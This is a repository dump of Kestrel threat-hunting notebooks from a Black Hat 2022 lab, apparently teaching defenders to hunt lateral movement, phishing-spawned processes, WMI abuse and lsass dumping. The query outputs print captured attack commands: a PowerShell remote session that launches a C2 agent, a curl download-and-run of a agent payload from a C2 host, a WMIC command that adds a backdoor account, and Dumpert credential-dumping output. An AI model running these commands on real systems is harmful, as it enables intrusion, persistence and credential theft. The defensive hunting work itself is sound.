7028powershell.exepowershell.exe -ExecutionPolicy Bypass -C \"\\$username = \\\"user\\\";\\$password = \\\"redlab\\\";\\$secstr = New-Object -TypeName System.Security.SecureString;\\$password.ToCharArray() | ForEach-Object {\\$secstr.AppendChar(\\$_)};\\$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist \\$username, \\$secstr;\\$session = New-PSSession -ComputerName 192.168.56.112 -Credential \\$cred;Invoke-Command -Session \\$session -ScriptBlock{cmd.exe /c start C:\\Users\\Public\\splunkd.exe -server http://192.168.56.150:8888 -group red} -AsJob;\"
\n", 352 | "

Block Executed in 1 seconds

\n", 353 | " \n", 354 | " \n", 355 | " \n", 356 | " \n", 357 | " \n", 358 | " \n", 359 | " \n", 360 | " \n", 361 | " \n", 362 | " \n", 363 | " \n", 364 | " \n", 365 | " \n", 366 | " \n", 367 | " \n", 368 | " \n", 369 | " \n", 370 | " \n", 371 | " \n", 372 | " \n", 373 | " \n", 374 | " \n", 375 | " \n", 376 | " \n", 377 | " \n", 378 | " \n", 379 | " \n", 380 | " \n", 381 | " \n", 382 | " \n", 383 | " \n", 384 | " \n", 385 | " \n", 386 | " \n", 387 | " \n", 388 | " \n", 389 | " \n", 390 | " \n", 391 | " \n", 392 | " \n", 393 | " \n", 394 | " \n", 395 | " \n", 396 | " \n", 397 | " \n", 398 | " \n", 399 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
lateral_movementprocess81129302421213272133333333333

*Number of related records cached.

" 400 | ] 401 | }, 402 | "metadata": {}, 403 | "output_type": "display_data" 404 | } 405 | ], 406 | "source": [ 407 | "# TTP: Copy 54ndc47 (WinRM and SCP) (T1570)\n", 408 | "# TTP: Start Agent (WinRM) (T1021.006)\n", 409 | "\n", 410 | "lateral_movement = GET process\n", 411 | " FROM stixshifter://bh22-windows-192.168.56.111\n", 412 | " WHERE command_line LIKE '%New-PSSession%'\n", 413 | " START 2022-07-01T00:00:00Z STOP 2022-08-01T00:00:00Z\n", 414 | " \n", 415 | "DISP lateral_movement ATTR pid, name, command_line" 416 | ] 417 | }, 418 | { 419 | "cell_type": "markdown", 420 | "id": "15fb68d6", 421 | "metadata": {}, 422 | "source": [ 423 | "## Even More Generic, Not Limited to a Command?\n", 424 | "\n", 425 | "How about finding TTPs that an email client spawns a shell or a web server spawns a Python interpreter?\n", 426 | "\n", 427 | "**Naturally, TTPs at any complexity could be described as graph patterns, pointed out in paper [Threat Intelligence Computing](https://dl.acm.org/doi/10.1145/3243734.3243829), e.g.**\n", 428 | "\n", 429 | "" 430 | ] 431 | }, 432 | { 433 | "cell_type": "code", 434 | "execution_count": 4, 435 | "id": "4746f450", 436 | "metadata": {}, 437 | "outputs": [ 438 | { 439 | "name": "stderr", 440 | "output_type": "stream", 441 | "text": [] 442 | }, 443 | { 444 | "data": { 445 | "text/html": [ 446 | "\n", 447 | " \n", 448 | " \n", 449 | " \n", 450 | " \n", 451 | " \n", 452 | " \n", 453 | " \n", 454 | " \n", 455 | " \n", 456 | " \n", 457 | " \n", 458 | " \n", 459 | " \n", 460 | " \n", 461 | " \n", 462 | " \n", 463 | " \n", 464 | " \n", 465 | " \n", 466 | " \n", 467 | " \n", 468 | " \n", 469 | " \n", 470 | " \n", 471 | " \n", 472 | " \n", 473 | " \n", 474 | " \n", 475 | " \n", 476 | "
pidnamecommand_line
7220cmd.exeNone
7220cmd.exeC:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\Alice\\AppData\\Local\\Temp\\return to office schedule.jpg.bat\"\"
6492iexplore.exeNone
6492iexplore.exe\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" http://www.ibm.com/
\n", 477 | "\n", 478 | " \n", 479 | " \n", 480 | " \n", 481 | " \n", 482 | " \n", 483 | " \n", 484 | " \n", 485 | " \n", 486 | " \n", 487 | " \n", 488 | " \n", 489 | " \n", 490 | " \n", 491 | " \n", 492 | " \n", 493 | " \n", 494 | " \n", 495 | " \n", 496 | " \n", 497 | " \n", 498 | " \n", 499 | " \n", 500 | " \n", 501 | " \n", 502 | "
pidnamecommand_line
13975node/usr/local/bin/node app.js
13975sh/bin/sh -c curl -s -X POST -H \"file:sandcat.go\" -H \"platform:linux\" http://192.168.56.150:8888/file/download > splunkd;chmod +x splunkd;./splunkd -server http://192.168.56.150:8888 -group red -v
13975splunkd/usr/local/src/starx/splunkd -server http://192.168.56.150:8888 -group red -v
\n", 503 | "

Block Executed in 4 seconds

\n", 504 | " \n", 505 | " \n", 506 | " \n", 507 | " \n", 508 | " \n", 509 | " \n", 510 | " \n", 511 | " \n", 512 | " \n", 513 | " \n", 514 | " \n", 515 | " \n", 516 | " \n", 517 | " \n", 518 | " \n", 519 | " \n", 520 | " \n", 521 | " \n", 522 | " \n", 523 | " \n", 524 | " \n", 525 | " \n", 526 | " \n", 527 | " \n", 528 | " \n", 529 | " \n", 530 | " \n", 531 | " \n", 532 | " \n", 533 | " \n", 534 | " \n", 535 | " \n", 536 | " \n", 537 | " \n", 538 | " \n", 539 | " \n", 540 | " \n", 541 | " \n", 542 | " \n", 543 | " \n", 544 | " \n", 545 | " \n", 546 | " \n", 547 | " \n", 548 | " \n", 549 | " \n", 550 | " \n", 551 | " \n", 552 | " \n", 553 | " \n", 554 | " \n", 555 | " \n", 556 | " \n", 557 | " \n", 558 | " \n", 559 | " \n", 560 | " \n", 561 | " \n", 562 | " \n", 563 | " \n", 564 | " \n", 565 | " \n", 566 | " \n", 567 | " \n", 568 | " \n", 569 | " \n", 570 | " \n", 571 | " \n", 572 | " \n", 573 | " \n", 574 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-file*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
phishing_candidatesprocess1322959564616139061003823828282
exploit_candidatesprocess882882170217081602003721938882740227401410740141014101410

*Number of related records cached.

" 575 | ] 576 | }, 577 | "metadata": {}, 578 | "output_type": "display_data" 579 | } 580 | ], 581 | "source": [ 582 | "# TTP: a process spawns a process invoking another binary/image\n", 583 | "\n", 584 | "# example 1 on Windows: reading email results in executing something\n", 585 | "phishing_candidates = GET process\n", 586 | " FROM stixshifter://bh22-windows-192.168.56.111\n", 587 | " WHERE parent_ref.name = 'WinMail.exe' AND binary_ref.name != 'WinMail.exe'\n", 588 | " START 2022-07-01T00:00:00Z STOP 2022-08-01T00:00:00Z\n", 589 | "\n", 590 | "DISP phishing_candidates ATTR pid, name, command_line\n", 591 | "\n", 592 | "# example 2 on Linux: a web service is exploited to spawns a malicious payload\n", 593 | "exploit_candidates = GET process\n", 594 | " FROM stixshifter://bh22-linux-192.168.56.91\n", 595 | " WHERE parent_ref.name = 'node' AND binary_ref.name != 'node'\n", 596 | " START 2022-07-01T00:00:00Z STOP 2022-08-01T00:00:00Z\n", 597 | "\n", 598 | "DISP exploit_candidates ATTR pid, name, command_line" 599 | ] 600 | }, 601 | { 602 | "cell_type": "markdown", 603 | "id": "9027a936", 604 | "metadata": {}, 605 | "source": [ 606 | "## What if The Command Line Is Obfuscated?\n", 607 | "\n", 608 | "- If the obfuscation is simple, data source query (e.g., Splunk, Elasticsearch, QRadar) may support regular expression (Regex) to help.\n", 609 | "- If the obfuscation is complex, and the data source query language cannot de-obfuscate such entity attributes, Kestrel has a Turing-complete foreign function interface (FFI) to help. This is called [Kestrel analytics](https://kestrel.readthedocs.io/en/stable/language/commands.html#apply), which we will show in the third huntbook." 610 | ] 611 | }, 612 | { 613 | "cell_type": "code", 614 | "execution_count": null, 615 | "id": "97b1811c", 616 | "metadata": {}, 617 | "outputs": [], 618 | "source": [] 619 | } 620 | ], 621 | "metadata": { 622 | "kernelspec": { 623 | "display_name": "Kestrel", 624 | "language": "kestrel", 625 | "name": "kestrel" 626 | }, 627 | "language_info": { 628 | "file_extension": ".hf", 629 | "name": "kestrel" 630 | } 631 | }, 632 | "nbformat": 4, 633 | "nbformat_minor": 5 634 | } 635 | -------------------------------------------------------------------------------- /blackhat22/images/caldera_lateral_movement_TTPs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opencybersecurityalliance/kestrel-huntbook/50b5e692d375153080b5c5bae1869fc40c8df541/blackhat22/images/caldera_lateral_movement_TTPs.png -------------------------------------------------------------------------------- /blackhat22/images/caldera_overview_n_T1057.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opencybersecurityalliance/kestrel-huntbook/50b5e692d375153080b5c5bae1869fc40c8df541/blackhat22/images/caldera_overview_n_T1057.png -------------------------------------------------------------------------------- /blackhat22/images/spawn_TTP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opencybersecurityalliance/kestrel-huntbook/50b5e692d375153080b5c5bae1869fc40c8df541/blackhat22/images/spawn_TTP.png -------------------------------------------------------------------------------- /config/stixshifter.yaml: -------------------------------------------------------------------------------- 1 | profiles: 2 | bh22-windows-192.168.56.111: 3 | connector: stix_bundle 4 | connection: 5 | host: http://localhost:6001/bh22_windows_192_168_56_111.json 6 | config: 7 | auth: 8 | username: 9 | password: 10 | bh22-windows-192.168.56.112: 11 | connector: stix_bundle 12 | connection: 13 | host: http://localhost:6001/bh22_windows_192_168_56_112.json 14 | config: 15 | auth: 16 | username: 17 | password: 18 | bh22-linux-192.168.56.91: 19 | connector: stix_bundle 20 | connection: 21 | host: http://localhost:6001/bh22_linux_192_168_56_91.json 22 | config: 23 | auth: 24 | username: 25 | password: 26 | -------------------------------------------------------------------------------- /huntbooks/Lateral Movement via WMI.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "e0efa12e", 6 | "metadata": {}, 7 | "source": [ 8 | "# Lateral movement via WMI\n", 9 | "https://attack.mitre.org/techniques/T1047/\n", 10 | "\n", 11 | "## Example Data Source\n", 12 | "https://securitydatasets.com/notebooks/atomic/windows/lateral_movement/SDWIN-200914080546.html" 13 | ] 14 | }, 15 | { 16 | "cell_type": "markdown", 17 | "id": "b6442559-1604-482a-a2b9-157aa97fd774", 18 | "metadata": {}, 19 | "source": [ 20 | "Let's start by looking for any WMIC activity:" 21 | ] 22 | }, 23 | { 24 | "cell_type": "code", 25 | "execution_count": 7, 26 | "id": "bf2aa1d6", 27 | "metadata": {}, 28 | "outputs": [ 29 | { 30 | "name": "stderr", 31 | "output_type": "stream", 32 | "text": [] 33 | }, 34 | { 35 | "data": { 36 | "text/html": [ 37 | "

Block Executed in 7 seconds

\n", 38 | " \n", 39 | " \n", 40 | " \n", 41 | " \n", 42 | " \n", 43 | " \n", 44 | " \n", 45 | " \n", 46 | " \n", 47 | " \n", 48 | " \n", 49 | " \n", 50 | " \n", 51 | " \n", 52 | " \n", 53 | " \n", 54 | " \n", 55 | " \n", 56 | " \n", 57 | " \n", 58 | " \n", 59 | " \n", 60 | " \n", 61 | " \n", 62 | " \n", 63 | " \n", 64 | " \n", 65 | " \n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*ipv4-addr*network-traffic*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
wmic_procsprocess26238238346354842188418238238

*Number of related records cached.

" 75 | ] 76 | }, 77 | "metadata": {}, 78 | "output_type": "display_data" 79 | } 80 | ], 81 | "source": [ 82 | "wmic_procs = GET process\n", 83 | " FROM https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/lateral_movement/host/empire_wmic_add_user_backdoor.zip\n", 84 | " WHERE [process:command_line LIKE '%WMIC%']" 85 | ] 86 | }, 87 | { 88 | "cell_type": "markdown", 89 | "id": "40033e89-4fcf-4ec6-ae95-0fcb27e6d8e3", 90 | "metadata": {}, 91 | "source": [ 92 | "We found multiple records of 1 unique process entity. Let's examine those:" 93 | ] 94 | }, 95 | { 96 | "cell_type": "code", 97 | "execution_count": 8, 98 | "id": "6b488d1c", 99 | "metadata": {}, 100 | "outputs": [ 101 | { 102 | "name": "stderr", 103 | "output_type": "stream", 104 | "text": [] 105 | }, 106 | { 107 | "data": { 108 | "text/html": [ 109 | "\n", 110 | " \n", 111 | " \n", 112 | " \n", 113 | " \n", 114 | " \n", 115 | " \n", 116 | " \n", 117 | " \n", 118 | " \n", 119 | " \n", 120 | " \n", 121 | " \n", 122 | " \n", 123 | " \n", 124 | " \n", 125 | " \n", 126 | " \n", 127 | " \n", 128 | " \n", 129 | " \n", 130 | " \n", 131 | " \n", 132 | " \n", 133 | " \n", 134 | " \n", 135 | " \n", 136 | " \n", 137 | " \n", 138 | "
createdcommand_linepidx_unique_id
NoneNone9428None
None\"C:\\windows\\System32\\Wbem\\WMIC.exe\" /node:WORKSTATION6 process call create \"net user /add backdoor paw0rd1\"9428None
2020-09-14T12:06:01.826Z\"C:\\windows\\System32\\Wbem\\WMIC.exe\" /node:WORKSTATION6 process call create \"net user /add backdoor paw0rd1\"9428{2d351099-5ca9-5f5f-2f04-000000000400}
" 139 | ] 140 | }, 141 | "metadata": {}, 142 | "output_type": "display_data" 143 | } 144 | ], 145 | "source": [ 146 | "DISP wmic_procs ATTR created, command_line, pid, x_unique_id" 147 | ] 148 | }, 149 | { 150 | "cell_type": "markdown", 151 | "id": "10c33d04-07ce-45ff-9775-f6a5480164a4", 152 | "metadata": {}, 153 | "source": [ 154 | "The command line alone gives this one away: `WMIC.exe` is used to create a new process on `WORKSTATION6`. Let's try to find those processes by looking for the WMI Provider Host (`WMIPrvSE.exe`):" 155 | ] 156 | }, 157 | { 158 | "cell_type": "code", 159 | "execution_count": 9, 160 | "id": "2b7d474c", 161 | "metadata": {}, 162 | "outputs": [ 163 | { 164 | "name": "stderr", 165 | "output_type": "stream", 166 | "text": [] 167 | }, 168 | { 169 | "data": { 170 | "text/html": [ 171 | "

Block Executed in 12 seconds

\n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | " \n", 207 | " \n", 208 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*ipv4-addr*network-traffic*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
wmiprvse_procsprocess28329364549596003649830380380

*Number of related records cached.

" 209 | ] 210 | }, 211 | "metadata": {}, 212 | "output_type": "display_data" 213 | } 214 | ], 215 | "source": [ 216 | "wmiprvse_procs = GET process\n", 217 | " WHERE [process:command_line LIKE '%wmiprvse%']" 218 | ] 219 | }, 220 | { 221 | "cell_type": "code", 222 | "execution_count": 10, 223 | "id": "0c2efca5", 224 | "metadata": {}, 225 | "outputs": [ 226 | { 227 | "name": "stderr", 228 | "output_type": "stream", 229 | "text": [] 230 | }, 231 | { 232 | "data": { 233 | "text/html": [ 234 | "\n", 235 | " \n", 236 | " \n", 237 | " \n", 238 | " \n", 239 | " \n", 240 | " \n", 241 | " \n", 242 | " \n", 243 | " \n", 244 | " \n", 245 | " \n", 246 | " \n", 247 | " \n", 248 | " \n", 249 | " \n", 250 | " \n", 251 | " \n", 252 | " \n", 253 | " \n", 254 | " \n", 255 | " \n", 256 | " \n", 257 | " \n", 258 | " \n", 259 | " \n", 260 | " \n", 261 | " \n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | " \n", 268 | " \n", 269 | " \n", 270 | " \n", 271 | " \n", 272 | " \n", 273 | " \n", 274 | " \n", 275 | " \n", 276 | " \n", 277 | " \n", 278 | " \n", 279 | " \n", 280 | " \n", 281 | "
createdcommand_linepidx_unique_id
NoneNone3952None
NoneC:\\windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding3952None
2020-09-14T12:06:02.209ZC:\\windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding3952{83d0c8c3-5caa-5f5f-f002-000000000400}
NoneNone7296None
NoneC:\\windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding7296None
2020-09-14T12:06:08.432ZC:\\windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding7296{2d351099-5cb0-5f5f-3804-000000000400}
" 282 | ] 283 | }, 284 | "metadata": {}, 285 | "output_type": "display_data" 286 | } 287 | ], 288 | "source": [ 289 | "DISP wmiprvse_procs ATTR created, command_line, pid, x_unique_id" 290 | ] 291 | }, 292 | { 293 | "cell_type": "markdown", 294 | "id": "1b25f47c-9f91-4ce5-b138-2fdd3761f58a", 295 | "metadata": {}, 296 | "source": [ 297 | "So it looks like there's 2 instances, pids 3952 and 7296. They both occur after the `WMIC.exe` command we saw; the first timestamp is less than a second later. We can now try to find the processes created by these 2 instances:" 298 | ] 299 | }, 300 | { 301 | "cell_type": "code", 302 | "execution_count": 11, 303 | "id": "db6f793f", 304 | "metadata": {}, 305 | "outputs": [ 306 | { 307 | "name": "stderr", 308 | "output_type": "stream", 309 | "text": [] 310 | }, 311 | { 312 | "data": { 313 | "text/html": [ 314 | "

Block Executed in 7 seconds

\n", 315 | " \n", 316 | " \n", 317 | " \n", 318 | " \n", 319 | " \n", 320 | " \n", 321 | " \n", 322 | " \n", 323 | " \n", 324 | " \n", 325 | " \n", 326 | " \n", 327 | " \n", 328 | " \n", 329 | " \n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | " \n", 336 | " \n", 337 | " \n", 338 | " \n", 339 | " \n", 340 | " \n", 341 | " \n", 342 | " \n", 343 | " \n", 344 | " \n", 345 | " \n", 346 | " \n", 347 | " \n", 348 | " \n", 349 | " \n", 350 | " \n", 351 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*ipv4-addr*network-traffic*process*user-account*windows-registry-key*x-oca-asset*x-oca-event*
spawnedprocess6553905766440041810630406406

*Number of related records cached.

" 352 | ] 353 | }, 354 | "metadata": {}, 355 | "output_type": "display_data" 356 | } 357 | ], 358 | "source": [ 359 | "spawned = FIND process CREATED BY wmiprvse_procs" 360 | ] 361 | }, 362 | { 363 | "cell_type": "code", 364 | "execution_count": 12, 365 | "id": "8abcc8ea", 366 | "metadata": {}, 367 | "outputs": [ 368 | { 369 | "name": "stderr", 370 | "output_type": "stream", 371 | "text": [] 372 | }, 373 | { 374 | "data": { 375 | "text/html": [ 376 | "\n", 377 | " \n", 378 | " \n", 379 | " \n", 380 | " \n", 381 | " \n", 382 | " \n", 383 | " \n", 384 | " \n", 385 | " \n", 386 | " \n", 387 | " \n", 388 | " \n", 389 | " \n", 390 | " \n", 391 | " \n", 392 | " \n", 393 | " \n", 394 | " \n", 395 | " \n", 396 | " \n", 397 | " \n", 398 | " \n", 399 | " \n", 400 | " \n", 401 | " \n", 402 | " \n", 403 | " \n", 404 | " \n", 405 | " \n", 406 | " \n", 407 | " \n", 408 | " \n", 409 | "
createdcommand_linepidx_unique_idparent_ref.x_unique_id
NoneNone7768NoneNone
Nonenet user /add backdoor paw0rd17768NoneNone
2020-09-14T12:06:02.316Znet user /add backdoor paw0rd17768{83d0c8c3-5caa-5f5f-f102-000000000400}{83d0c8c3-5caa-5f5f-f002-000000000400}
" 410 | ] 411 | }, 412 | "metadata": {}, 413 | "output_type": "display_data" 414 | } 415 | ], 416 | "source": [ 417 | "DISP spawned ATTR created, command_line, pid, x_unique_id, parent_ref.x_unique_id" 418 | ] 419 | }, 420 | { 421 | "cell_type": "markdown", 422 | "id": "e04ef1ef-995f-431b-b3d2-c5140675e646", 423 | "metadata": {}, 424 | "source": [ 425 | "We only found 1, but it matches the original `WMIC.exe` command line we found initially. " 426 | ] 427 | } 428 | ], 429 | "metadata": { 430 | "kernelspec": { 431 | "display_name": "Kestrel", 432 | "language": "kestrel", 433 | "name": "kestrel" 434 | }, 435 | "language_info": { 436 | "codemirror_mode": "kestrel", 437 | "name": "Kestrel" 438 | } 439 | }, 440 | "nbformat": 4, 441 | "nbformat_minor": 5 442 | } 443 | -------------------------------------------------------------------------------- /huntbooks/Lsass Memory Dump Trace with Outflank-Dumpert.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "1ec9a638", 6 | "metadata": {}, 7 | "source": [ 8 | "# Tracing Lsass Memory Dumping with Outflank-Dumpert (via syscall)\n", 9 | "\n", 10 | "### Dataset Description\n", 11 | "Below dataset shows the adversaries technique to dump memory content of lsass using system calls (syscalls) and API unhooking.\n", 12 | "https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/credential_access/host/cmd_lsass_memory_dumpert_syscalls.zip\n", 13 | "\n", 14 | "### Adversary View\n", 15 | "```\n", 16 | "C:\\Users\\wardog\\Desktop>Outflank-Dumpert.exe\n", 17 | "________ __ _____.__ __\n", 18 | "\\_____ \\ __ ___/ |__/ ____\\ | _____ ____ | | __\n", 19 | " / | \\| | \\ __\\ __\\| | \\__ \\ / \\| |/ /\n", 20 | "/ | \\ | /| | | | | |__/ __ \\| | \\ <\n", 21 | "\\_______ /____/ |__| |__| |____(____ /___| /__|_ \\\n", 22 | " \\/ \\/ \\/ \\/\n", 23 | " Dumpert\n", 24 | " By Cneeliz @Outflank 2019\n", 25 | "\n", 26 | "[1] Checking OS version details:\n", 27 | " [+] Operating System is Windows 10 or Server 2016, build number 18363\n", 28 | " [+] Mapping version specific System calls.\n", 29 | "[2] Checking Process details:\n", 30 | " [+] Process ID of lsass.exe is: 756\n", 31 | " [+] NtReadVirtualMemory function pointer at: 0x00007FFB929DC890\n", 32 | " [+] NtReadVirtualMemory System call nr is: 0x3f\n", 33 | " [+] Unhooking NtReadVirtualMemory.\n", 34 | "[3] Create memorydump file:\n", 35 | " [+] Open a process handle.\n", 36 | " [+] Dump lsass.exe memory to: \\??\\C:\\windows\\Temp\\dumpert.dmp\n", 37 | " [+] Dump succesful.\n", 38 | "\n", 39 | "C:\\Users\\wardog\\Desktop>\n", 40 | "```\n", 41 | "\n", 42 | "### Tactics, Techniques\n", 43 | "Tactics: [TA0006](https://attack.mitre.org/tactics/TA0006)\n", 44 | "Techniques: [T1003.001](https://attack.mitre.org/tactics/TA0006)\n", 45 | "\n", 46 | "The tool targets lsass.exe (Local Security Authority Subsystem Service), which handles password authentication in Windows. \n", 47 | "\n", 48 | "We can start by looking at the process executed by this program:" 49 | ] 50 | }, 51 | { 52 | "cell_type": "code", 53 | "execution_count": 1, 54 | "id": "6668e9a3", 55 | "metadata": {}, 56 | "outputs": [ 57 | { 58 | "name": "stderr", 59 | "output_type": "stream", 60 | "text": [] 61 | }, 62 | { 63 | "data": { 64 | "text/html": [ 65 | "

Block Executed in 4 seconds

\n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | " \n", 76 | " \n", 77 | " \n", 78 | " \n", 79 | " \n", 80 | " \n", 81 | " \n", 82 | " \n", 83 | " \n", 84 | " \n", 85 | " \n", 86 | " \n", 87 | " \n", 88 | " \n", 89 | " \n", 90 | " \n", 91 | " \n", 92 | " \n", 93 | " \n", 94 | " \n", 95 | " \n", 96 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*x-oca-asset*x-oca-event*
procsprocess1232446472632424

*Number of related records cached.

" 97 | ] 98 | }, 99 | "metadata": {}, 100 | "output_type": "display_data" 101 | } 102 | ], 103 | "source": [ 104 | "procs = get process from\n", 105 | " https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/credential_access/host/cmd_lsass_memory_dumpert_syscalls.zip\n", 106 | " where command_line LIKE '%Dump%'" 107 | ] 108 | }, 109 | { 110 | "cell_type": "markdown", 111 | "id": "7c04c8fa", 112 | "metadata": {}, 113 | "source": [ 114 | "Examine the process:" 115 | ] 116 | }, 117 | { 118 | "cell_type": "code", 119 | "execution_count": 2, 120 | "id": "661f8402", 121 | "metadata": {}, 122 | "outputs": [ 123 | { 124 | "name": "stderr", 125 | "output_type": "stream", 126 | "text": [] 127 | }, 128 | { 129 | "data": { 130 | "text/html": [ 131 | "\n", 132 | " \n", 133 | " \n", 134 | " \n", 135 | " \n", 136 | " \n", 137 | " \n", 138 | " \n", 139 | " \n", 140 | " \n", 141 | " \n", 142 | " \n", 143 | " \n", 144 | " \n", 145 | " \n", 146 | " \n", 147 | " \n", 148 | " \n", 149 | " \n", 150 | " \n", 151 | " \n", 152 | " \n", 153 | " \n", 154 | " \n", 155 | " \n", 156 | " \n", 157 | " \n", 158 | " \n", 159 | " \n", 160 | " \n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | " \n", 207 | " \n", 208 | " \n", 209 | " \n", 210 | " \n", 211 | " \n", 212 | "
pidnameidcommand_linex_unique_idcreatedbinary_ref.namebinary_ref.idbinary_ref.hashes.'SHA-1'binary_ref.hashes.MD5binary_ref.hashes.'SHA-256'binary_ref.parent_directory_ref.pathbinary_ref.parent_directory_ref.idparent_ref.pidparent_ref.nameparent_ref.idparent_ref.command_lineparent_ref.x_unique_idparent_ref.createdparent_ref.parent_ref.pidparent_ref.parent_ref.nameparent_ref.parent_ref.idparent_ref.parent_ref.command_lineparent_ref.parent_ref.x_unique_idparent_ref.parent_ref.createdparent_ref.binary_ref.nameparent_ref.binary_ref.idparent_ref.binary_ref.hashes.'SHA-1'parent_ref.binary_ref.hashes.MD5parent_ref.binary_ref.hashes.'SHA-256'parent_ref.binary_ref.parent_directory_ref.pathparent_ref.binary_ref.parent_directory_ref.idparent_ref.creator_user_ref.user_idparent_ref.creator_user_ref.idcreator_user_ref.user_idcreator_user_ref.id
6772Outflank-Dumpert.exeprocess--a61744bb-b1ca-565e-a300-7fe978fc9ad2Outflank-Dumpert.exe{39e4a257-004e-5f8d-4304-000000000700}2020-10-19T02:56:14.283ZOutflank-Dumpert.exefile--502dbda9-3a89-53e7-99a4-507a3df022a798B13ABB701577AC88E360D702BB89160B50E378C78D58386504CAF3437EED37FBFF77B5D286348DE31501385A3A8F57A08AF602722913C36AAA4AA9FCB9EE129A7680C0C:\\Users\\wardog\\Desktopdirectory--a0157638-19ed-5309-a828-eb616733ae0e3080cmd.exeprocess--6c2c870b-d62a-5abc-ac05-0b391d932529\"C:\\windows\\system32\\cmd.exe\"{39e4a257-ff60-5f8c-2f04-000000000700}NoneNoneNoneNoneNoneNoneNonecmd.exefile--bdb40b46-65f7-5a74-9516-60746576d4e7NoneNoneNoneC:\\Windows\\System32directory--0a58d0c1-59e6-5afd-8252-dcd3f13e5622NoneNoneWORKSTATION5\\wardoguser-account--c8b6cbe8-e16c-5b03-948a-085d1333e43e
\n", 213 | "

Block Executed in 1 seconds

\n", 214 | " \n", 215 | " \n", 216 | " \n", 217 | " \n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | " \n", 227 | " \n", 228 | " \n", 229 | " \n", 230 | " \n", 231 | " \n", 232 | " \n", 233 | " \n", 234 | " \n", 235 | " \n", 236 | " \n", 237 | " \n", 238 | " \n", 239 | " \n", 240 | " \n", 241 | " \n", 242 | " \n", 243 | " \n", 244 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*directory*file*process*user-account*x-oca-asset*x-oca-event*
procprocess1230000000

*Number of related records cached.

" 245 | ] 246 | }, 247 | "metadata": {}, 248 | "output_type": "display_data" 249 | } 250 | ], 251 | "source": [ 252 | "disp procs\n", 253 | "proc = procs" 254 | ] 255 | }, 256 | { 257 | "cell_type": "markdown", 258 | "id": "d40dee4b", 259 | "metadata": {}, 260 | "source": [ 261 | "We found one process; let's examine its parent process" 262 | ] 263 | }, 264 | { 265 | "cell_type": "code", 266 | "execution_count": 3, 267 | "id": "d0e66b1e", 268 | "metadata": {}, 269 | "outputs": [ 270 | { 271 | "name": "stderr", 272 | "output_type": "stream", 273 | "text": [] 274 | }, 275 | { 276 | "data": { 277 | "text/html": [ 278 | "\n", 279 | " \n", 280 | " \n", 281 | " \n", 282 | " \n", 283 | " \n", 284 | " \n", 285 | " \n", 286 | " \n", 287 | " \n", 288 | " \n", 289 | " \n", 290 | " \n", 291 | " \n", 292 | " \n", 293 | " \n", 294 | " \n", 295 | " \n", 296 | " \n", 297 | " \n", 298 | " \n", 299 | " \n", 300 | " \n", 301 | " \n", 302 | " \n", 303 | " \n", 304 | " \n", 305 | " \n", 306 | " \n", 307 | " \n", 308 | " \n", 309 | " \n", 310 | " 